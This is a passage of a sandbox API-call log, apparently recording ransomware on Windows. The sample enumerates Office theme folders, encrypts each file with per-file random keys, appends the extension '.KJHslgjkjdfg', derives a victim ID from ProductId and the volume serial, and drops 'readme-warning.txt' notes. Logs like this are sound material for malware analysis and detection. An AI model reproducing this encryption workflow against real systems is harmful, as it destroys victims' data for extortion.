shared\\themes14\\arctic\\arctic.inf.kjhslgjkjdfg")) returned 1 [0145.885] CloseHandle (hObject=0x118) returned 1 [0145.885] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0145.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.886] GetProcessHeap () returned 0x2a0000 [0145.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.886] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.887] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.887] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0145.891] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.891] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.891] GetProcessHeap () returned 0x2a0000 [0145.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.891] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.891] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.891] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.891] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.891] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.891] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.891] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.891] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.891] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.891] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.892] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.892] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xba9, lpOverlapped=0x0) returned 1 [0145.892] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbb0) returned 1 [0145.892] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.892] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbb0, lpOverlapped=0x0) returned 1 [0145.892] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.892] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.892] SetEndOfFile (hFile=0x118) returned 1 [0145.895] GetProcessHeap () returned 0x2a0000 [0145.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.895] GetProcessHeap () returned 0x2a0000 [0145.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.kjhslgjkjdfg")) returned 1 [0145.896] CloseHandle (hObject=0x118) returned 1 [0145.896] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0145.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.898] GetProcessHeap () returned 0x2a0000 [0145.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.898] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.898] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.898] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0145.900] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.900] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.900] GetProcessHeap () returned 0x2a0000 [0145.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.901] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.901] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.901] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.901] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.901] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.901] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.901] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.901] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4d44, lpOverlapped=0x0) returned 1 [0145.903] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4d50, dwBufLen=0x4d50 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4d50) returned 1 [0145.903] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.903] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4d50, lpOverlapped=0x0) returned 1 [0145.903] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.903] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.903] SetEndOfFile (hFile=0x118) returned 1 [0145.906] GetProcessHeap () returned 0x2a0000 [0145.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.906] GetProcessHeap () returned 0x2a0000 [0145.906] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0145.907] CloseHandle (hObject=0x118) returned 1 [0145.907] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0145.907] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.908] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0145.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.908] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0145.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0145.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.908] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0145.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.908] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0145.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.908] GetProcessHeap () returned 0x2a0000 [0145.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.909] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.909] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0145.909] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.909] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0145.909] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0145.909] RegCloseKey (hKey=0x118) returned 0x0 [0145.909] GetProcessHeap () returned 0x2a0000 [0145.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.909] GetProcessHeap () returned 0x2a0000 [0145.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.909] GetProcessHeap () returned 0x2a0000 [0145.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.909] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.909] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0145.909] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.909] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.909] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.910] GetProcessHeap () returned 0x2a0000 [0145.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.910] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.910] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.910] GetProcessHeap () returned 0x2a0000 [0145.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0145.910] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt") returned 81 [0145.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.911] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0145.912] CloseHandle (hObject=0x118) returned 1 [0145.912] GetProcessHeap () returned 0x2a0000 [0145.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0145.912] GetProcessHeap () returned 0x2a0000 [0145.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0145.912] GetProcessHeap () returned 0x2a0000 [0145.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.912] GetProcessHeap () returned 0x2a0000 [0145.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.912] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.913] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0145.913] GetProcessHeap () returned 0x2a0000 [0145.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0145.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.914] GetProcessHeap () returned 0x2a0000 [0145.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.914] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.914] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0145.914] GetProcessHeap () returned 0x2a0000 [0145.914] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0145.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.915] GetProcessHeap () returned 0x2a0000 [0145.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.915] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.915] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.915] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0145.918] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.918] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.918] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.918] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.918] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.918] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.918] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.918] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.918] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.919] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, 